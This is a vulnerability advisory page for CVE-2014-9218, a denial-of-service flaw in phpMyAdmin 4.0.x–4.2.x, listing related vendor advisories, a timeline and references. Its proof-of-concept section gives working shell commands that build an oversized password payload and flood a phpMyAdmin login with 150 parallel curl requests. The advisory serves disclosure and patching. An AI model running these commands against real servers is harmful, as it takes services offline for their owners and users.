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phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service
🗓️ 15 Dec 2014 00:00:00Reported by Javer Nieto & Andres RojasType 
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| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
 | phpMyAdmin 4.0.x, 4.1.x, 4.2.x - DoS | 16 Dec 201400:00 | – | zdt |
 | phpMyAdmin 4.0.x < 4.0.10.7 / 4.1.x < 4.1.14.8 / 4.2.x < 4.2.13.1 DoS (PMASA-2014-17) | 8 Dec 201400:00 | – | nessus |
| Debian DLA-336-1 : phpmyadmin security update | 29 Oct 201500:00 | – | nessus |
| Debian DSA-3382-1 : phpmyadmin - security update | 30 Oct 201500:00 | – | nessus |
| Fedora 21 : phpMyAdmin-4.2.13.1-1.fc21 (2014-16327) | 15 Dec 201400:00 | – | nessus |
| Fedora 20 : phpMyAdmin-4.2.13.1-1.fc20 (2014-16358) | 15 Dec 201400:00 | – | nessus |
| Fedora 19 : phpMyAdmin-4.2.13.1-1.fc19 (2014-16474) | 15 Dec 201400:00 | – | nessus |
| FreeBSD : phpMyAdmin -- XSS and DoS vulnerabilities (c9c46fbf-7b83-11e4-a96e-6805ca0b3d42) | 5 Dec 201400:00 | – | nessus |
| Mandriva Linux Security Advisory : phpmyadmin (MDVSA-2014:243) | 15 Dec 201400:00 | – | nessus |
| openSUSE Security Update : phpMyAdmin (openSUSE-SU-2014:1636-1) | 16 Dec 201400:00 | – | nessus |
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DESCRIPTION:
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A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x
before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers to
cause a denial of service (resource consumption) via a long password.
CVE-2014-9218 was assigned
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Time Line:
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December 3, 2014 - A phpMyAdmin update and the security advisory is
published.
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Proof of Concept:
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*1 - Create the payload.*
$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s"
{1..1000000} >> payload
*2 - Performing the Denial of Service attack.*
$ for i in `seq 1 150`; do (curl --data @payload
http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done
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Authors:
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-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info
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References:
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*
http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html
* http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.phpData
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15 Dec 2014 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 25
EPSS0.15266